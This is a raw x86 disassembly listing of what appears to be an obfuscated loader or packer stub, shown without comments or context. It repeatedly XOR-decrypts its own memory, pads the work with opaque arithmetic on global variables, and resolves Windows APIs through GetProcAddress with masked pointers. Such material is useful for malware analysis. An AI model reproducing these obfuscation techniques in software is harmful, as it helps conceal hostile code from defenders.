mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa2b6]
add eax, 0x20118
xor eax, dword [ecx]
xor eax, 0xdccecdd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d84]
add eax, 0x32d90
xor eax, dword [ecx]
xor eax, 0xdccfe15c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xebc3]
add eax, 0x29028
xor eax, dword [ecx]
xor eax, 0xdcce5ce4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x939c]
add eax, 0x20240
xor eax, dword [ecx]
xor eax, 0xdccece8c
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
and eax, 0x1fe96f10
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb4ff]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x1010536c]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x548e]
add eax, 0x2008c
xor eax, dword [ecx]
xor eax, 0xdccecc40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x116ae]
add eax, 0x323e8
xor eax, dword [ecx]
xor eax, 0xdccfef24
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
sub dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa0f9]
add eax, 0x37164
xor eax, dword [ecx]
xor eax, 0xdccfbda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x49ac]
add eax, 0x2584c
xor eax, dword [ecx]
xor eax, 0xdcce9480
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3df8]
add eax, 0x270fc
xor eax, dword [ecx]
push 0x101074d2
xor eax, 0xdccebc30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a96a]
add eax, 0xa508c
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10105368]
xor eax, dword [esp + 0x1c]
mov dword [0x1010536c], 0x47f85544
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39f0]
add eax, 0x27804
xor eax, dword [ecx]
xor eax, 0xdcceb4c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36df8]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25724]
add eax, 0x32fdc
xor eax, dword [ecx]
xor eax, 0xdccfe310
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6d8a]
add eax, 0x27a04
xor eax, dword [ecx]
xor eax, 0xdcceb6c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf083]
add eax, 0x1f5eb
xor eax, dword [ecx]
xor eax, 0xdccd3927
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x136b4]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe6c0]
add eax, 0xa4a0c
xor eax, dword [ecx]
xor eax, 0xdcc686c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x197f5]
add eax, 0x201d8
xor eax, dword [ecx]
xor eax, 0xdccecd14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fa8]
add eax, 0x333d8
xor eax, dword [ecx]
xor eax, 0xdccfff14
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20078
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8638
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1969]
add eax, 0x24d74
xor eax, dword [ecx]
xor eax, 0xdcce81b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10105368]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x15968]
add eax, 0x14ec3
xor eax, dword [ecx]
xor eax, 0xdccd820f
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a939]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a896]
add eax, 0xa8fb8
xor eax, dword [ecx]
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36d84]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x82c0]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4774]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19ca8]
add eax, 0x201e8
xor eax, dword [ecx]
xor eax, 0xdccecd24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32350]
add eax, 0x328d8
xor eax, dword [ecx]
xor eax, 0xdccfe414
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc729]
add eax, 0x28adc
xor eax, dword [ecx]
xor eax, 0xdcce4610
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b076]
add eax, 0xa52e8
xor eax, dword [ecx]
xor eax, 0xdcc69e24
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
mov ecx, dword [0x10103e64]
add ecx, eax
mov eax, dword [0x10107300]
mov dword [0x101062e0], ecx
lea ecx, [eax + 0xc629]
add eax, 0x28a34
xor eax, dword [ecx]
xor eax, 0xdcce46f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cd14]
add eax, 0x1cd18
xor eax, dword [ecx]
xor eax, 0xdccd01d4
mov dword [ecx], eax
mov eax, dword [0x10105abc]
and eax, 0x6432aca4
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1062f]
add eax, 0x20150
xor eax, dword [ecx]
xor eax, 0xdccecd9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a1b9]
add eax, 0x36064
xor eax, dword [ecx]
xor eax, 0xdccfaca8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334b0]
add eax, 0xa4a10
xor eax, dword [ecx]
xor eax, 0xdcc686dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fc8]
add eax, 0x3f00
xor eax, dword [ecx]
xor eax, 0xdcccf3cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b00]
add eax, 0x33a60
xor eax, dword [ecx]
xor eax, 0xdccff6ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34d7]
add eax, 0x23078
xor eax, dword [ecx]
xor eax, 0xdccefcb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17e893b1]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x1b27f]
add eax, 0x2006c
xor eax, dword [ecx]
xor eax, 0xdccecca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16c01]
add eax, 0x21008
xor eax, dword [ecx]
xor eax, 0xdccedcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x99b1]
add eax, 0x27dc4
xor eax, dword [ecx]
xor eax, 0xdcceb108
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279f0]
add eax, 0x13090
xor eax, dword [ecx]
xor eax, 0xdccdfc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23f84]
add eax, 0x23f6c
xor eax, dword [ecx]
xor eax, 0xdccef3a0
mov dword [ecx], eax
mov ecx, dword [esp + 0x18]
mov eax, dword [0x10107300]
or ecx, 0xf3754765
xor ecx, eax
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0x1ae66]
add eax, 0xa8fc0
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x24f
xor eax, 0xdcc6430c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279e8]
add eax, 0x6600
xor eax, dword [ecx]
xor eax, 0xdcccaacc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xab0d]
add eax, 0xa5a40
xor eax, dword [ecx]
xor eax, 0xdcc6968c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ed4]
add eax, 0x5520
xor eax, dword [ecx]
xor eax, 0xdccc99ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3be8]
add eax, 0x274d0
xor eax, dword [ecx]
xor eax, 0xdcceb81c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10106ae8]
add ecx, eax
mov dword [esp + 0x14], ecx
lea ecx, [eax + 0x329d8]
add eax, 0x13010
xor eax, dword [ecx]
xor eax, 0xdccdfcdc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4974]
add eax, 0x2605c
xor eax, dword [ecx]
xor eax, 0xdcceac90
mov dword [ecx], eax
push dword [0x10107300]
push dword [esp + 0x18]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x100332dc
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f0b6]
add eax, 0x32b0c
xor eax, dword [ecx]
mov edx, dword [esp + 0x20]
xor eax, 0xdccfe7c0
mov dword [ecx], eax
mov eax, dword [0x10105abc]
imul eax, edx
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ce0]
add eax, 0x231d8
xor eax, dword [ecx]
push 0x101079b5
xor eax, ebx
mov dword [ecx], eax
or dword [0x10105abc], edx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x192f1]
add eax, 0x362c0
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfae0c
mov dword [ecx], eax
mov eax, 0xb57ca12c
sub eax, dword [0x10103e60]
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcb69]
add eax, 0x28cfc
xor eax, dword [ecx]
xor eax, 0xdcce4030
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3548]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbea7]
add eax, 0x28fc0
xor eax, dword [ecx]
xor eax, 0xdcce430c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xea16]
add eax, 0x20314
xor eax, dword [ecx]
xor eax, 0xdccecfd8
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
add eax, 0x58ffa57f
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8905]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb249]
add eax, 0x2026c
xor eax, dword [ecx]
xor eax, 0xdccecea0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa35a]
add eax, 0x20128
xor eax, dword [ecx]
xor eax, 0xdccecde4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201b4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf99f2
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4988]
add eax, 0xa3de0
xor eax, dword [ecx]
push 0x101077be
xor eax, 0xdcc6f12c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20134
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x101075af
xor ecx, 0xcccf82bc
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa58e]
add eax, 0x20204
xor eax, dword [ecx]
push ebp
xor eax, 0xdccecec8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4fc0]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa41fc]
add eax, 0x7eb38
xor eax, dword [ecx]
xor eax, 0xdccb27f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4878]
add eax, 0x27494
xor eax, dword [ecx]
xor eax, 0xdcceb858
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ed77]
add eax, 0x34468
xor eax, dword [ecx]
xor eax, 0xdccf88a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200b0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8738
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16aea]
add eax, 0x21008
xor eax, dword [ecx]
xor eax, 0xdccedcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x95ed]
add eax, 0x20028
xor eax, dword [ecx]
xor eax, 0xdccecce4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13a5a]
add eax, 0x231a8
xor eax, dword [ecx]
xor eax, 0xdccefd64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e51a]
add eax, 0xa8f30
xor eax, dword [ecx]
xor eax, 0xdcc643fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b44]
add eax, 0x24934
xor eax, dword [ecx]
push 0x10107338
push dword [esp + 0x20]
xor eax, 0xdcce85f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2037c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf85b8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17cfe]
add eax, 0x231e4
xor eax, dword [ecx]
xor eax, 0xdccefd28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47e8]
add eax, 0x26f94
xor eax, dword [ecx]
xor eax, 0xdccea358
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb790]
add eax, 0xa5a1c
xor eax, dword [ecx]
xor eax, 0xdcc696d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32958]
add eax, 0x335dc
xor eax, dword [ecx]
xor eax, 0xdccff910
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10103e60]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x24094]
add eax, 0x23d3c
xor eax, dword [ecx]
xor eax, 0xdccef1f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4863]
add eax, 0x202d4
xor eax, dword [ecx]
xor eax, 0xdccece18
mov dword [ecx], eax
mov ecx, dword [0x10107300]
lea eax, [ecx + 0x1ca01]
mov edx, dword [eax]
xor edx, ecx
xor edx, 0xdccccccc
mov dword [eax], edx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e80]
add eax, 0x32e8c
xor eax, dword [ecx]
xor eax, 0xdccfe240
mov dword [ecx], eax
mov eax, dword [0x10105abc]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e54]
add eax, 0x36dd4
xor eax, dword [ecx]
xor eax, 0xdccfa118
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10103e64], 0
lea ecx, [eax + 0x4f1a]
add eax, 0x25c20
xor eax, dword [ecx]
xor eax, 0xdcce90ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45e]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8a24]
add eax, 0x27c54
xor eax, dword [ecx]
xor eax, 0xdcceb098
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33144]
add eax, 0x33148
xor eax, dword [ecx]
xor eax, 0xdccffd84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c0c]
add eax, 0x32c10
xor eax, dword [ecx]
xor eax, 0xdccfe0dc
mov dword [ecx], eax
mov eax, dword [0x10105abc]
neg eax
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34440]
add eax, 0x1eae9
xor eax, dword [ecx]
xor eax, 0xdccd2625
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10105abc]
sub ecx, eax
lea edx, [eax + 0x1d484]
add eax, 0x20200
xor eax, dword [edx]
xor eax, 0xdccececc
mov dword [edx], eax
mov eax, dword [0x101062e0]
and dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1db56]
add eax, 0x36060
xor eax, dword [edx]
xor eax, 0xdccfacac
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x332f4]
add eax, 0x332f8
xor eax, dword [edx]
xor eax, 0xdccffe34
mov dword [edx], eax
mov eax, dword [0x1010536c]
sub eax, ecx
mov dword [esp + 0x18], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe814]
add eax, 0x24a9c
xor eax, dword [ecx]
xor eax, 0xdcce8650
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36aec]
add eax, 0x249c4
xor eax, dword [ecx]
xor eax, 0xdcce8508
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34460]
add eax, 0x1ed64
xor eax, dword [ecx]
xor eax, 0xdccd21a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b15e]
add eax, 0x200fc
xor eax, dword [ecx]
push 0x10107674
xor eax, 0xdccecc30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32f8c]
add eax, 0x36e6c
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfa2a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33068]
add eax, 0x3312c
xor eax, dword [ecx]
xor eax, 0xdccffde0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10103e60]
add ecx, eax
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x32d90]
add eax, 0x36d84
xor eax, dword [ecx]
xor eax, 0xdccfa148
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
sub ecx, dword [0x10103e64]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x37148]
add eax, 0x29568
xor eax, dword [ecx]
xor eax, 0xdcce59a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34080]
add eax, 0xa521
xor eax, dword [ecx]
xor eax, 0xdccc69ed
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x549c]
add eax, 0x25ec0
xor eax, dword [ecx]
xor eax, 0xdcce920c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200e4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107d56
push dword [esp + 0x28]
xor ecx, 0xcccf8016
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x231c8]
add eax, 0x32b20
xor eax, dword [ecx]
xor eax, 0xdccfe7ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202ec
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9e42
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fbc]
add eax, 0x239ec
xor eax, dword [ecx]
xor eax, 0xdccef520
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240e0]
add eax, 0x23b44
xor eax, dword [ecx]
mov edx, 0xdcceb4b8
xor eax, 0xdccef788
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24068]
add eax, 0x23e4c
xor eax, dword [ecx]
xor eax, 0xdccef280
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc2a9]
add eax, 0x25abc
xor eax, dword [ecx]
xor eax, 0xdcce9670
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ebc]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36a74]
add eax, 0x1dafb
xor eax, dword [ecx]
xor eax, 0xdccd1637
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c257]
add eax, 0x23994
xor eax, dword [ecx]
xor eax, 0xdccef558
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b54]
add eax, 0x445e8
xor eax, dword [ecx]
xor eax, 0xdcc88924
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15994]
add eax, 0x15861
xor eax, dword [ecx]
xor eax, 0xdccd94ad
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeb99]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x821a]
add eax, 0x20268
xor eax, dword [ecx]
xor eax, 0xdccecea4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1849c]
add eax, 0x181e0
xor eax, dword [ecx]
xor eax, 0xdccd4d2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x204d]
add eax, 0x202ac
xor eax, dword [ecx]
xor eax, 0xdccece60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e14]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4ba8]
add eax, 0x231b8
xor eax, dword [ecx]
xor eax, 0xdccefd74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa403c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fcc]
add eax, 0x23efc
xor eax, dword [ecx]
xor eax, 0xdccef230
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c9b8]
add eax, 0x33d68
xor eax, dword [ecx]
xor eax, 0xdccff1a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0x4b5664ab
mov dword [0x10105368], ecx
lea ecx, [eax + 0x16af7]
add eax, 0x21c08
xor eax, dword [ecx]
xor eax, 0xdcced0c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc969]
add eax, 0x25b6c
xor eax, dword [ecx]
xor eax, 0xdcce97a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4759]
add eax, 0x20048
xor eax, dword [ecx]
xor eax, 0xdccecc84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1792c]
add eax, 0x17958
xor eax, dword [ecx]
xor eax, 0xdccdb594
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa484c]
add eax, 0x273c0
xor eax, dword [ecx]
xor eax, 0xdccebf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33ddc]
add eax, 0x1cb41
xor eax, dword [ecx]
xor eax, 0xdccd078d
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33038]
add eax, 0x36f4c
xor eax, dword [ecx]
xor eax, 0xdccfa380
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3dfc]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x969f]
add eax, 0x27d6c
xor eax, dword [ecx]
xor eax, 0xdcceb1a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10fe9]
add eax, 0x20100
xor eax, dword [ecx]
xor eax, 0xdccecdcc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cd68]
add eax, 0x1cd7c
xor eax, dword [ecx]
xor eax, 0xdccd01b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10103e64]
mov dword [0x10106ae8], ecx
mov ecx, eax
xor ecx, dword [esp + 0x18]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x119b4]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x837d]
add eax, 0x20268
xor eax, dword [ecx]
xor eax, 0xdccecea4
mov dword [ecx], eax
xor dword [0x101062e4], 0xf871264c
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17890]
add eax, 0x178bc
xor eax, dword [ecx]
xor eax, 0xdccdb470
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14000]
add eax, 0x202c8
xor eax, dword [ecx]
xor eax, 0xdccece04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fd8]
add eax, 0x3f40
xor eax, dword [ecx]
xor eax, 0xdcccf38c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33bbc]
add eax, 0x18144
xor eax, dword [ecx]
xor eax, 0xdccd4d88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x50bc]
add eax, 0x25e40
xor eax, dword [ecx]
xor eax, 0xdcce928c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e40]
add eax, 0x27088
xor eax, dword [ecx]
xor eax, 0xdccebc44
mov dword [ecx], eax
mov eax, dword [0x101062e0]
or dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5481]
add eax, 0x25ea4
xor eax, dword [ecx]
xor eax, 0xdcce9268
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3377c]
add eax, 0x33750
xor eax, dword [ecx]
xor eax, 0xdccffb9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10420]
add eax, 0x20164
xor eax, dword [ecx]
push 0x1010798c
xor eax, 0xdccecda8
mov dword [ecx], eax
mov eax, dword [0x101062e4]
mov ecx, eax
imul ecx, eax
mov eax, dword [0x10107300]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x32be4]
add eax, 0x32bb4
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfe778
mov dword [ecx], eax
mov eax, dword [0x101062e0]
imul eax, dword [esp + 0x1c]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x106e8]
add eax, 0x32338
xor eax, dword [ecx]
xor eax, 0xdccfeff4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc669]
add eax, 0x28a6c
xor eax, dword [ecx]
xor eax, 0xdcce46a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201a8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf99a4
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa003]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370bc]
add eax, 0x31f10
xor eax, dword [ecx]
xor eax, 0xdccfd3dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8de2]
add eax, 0x20020
xor eax, dword [ecx]
xor eax, 0xdcceccec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xad02]
add eax, 0x27edc
xor eax, dword [ecx]
xor eax, 0xdcceb210
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2584c]
add eax, 0x4520
xor eax, dword [ecx]
xor eax, 0xdccc89ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd3ab]
add eax, 0x370c0
xor eax, dword [ecx]
xor eax, 0xdccfbc0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
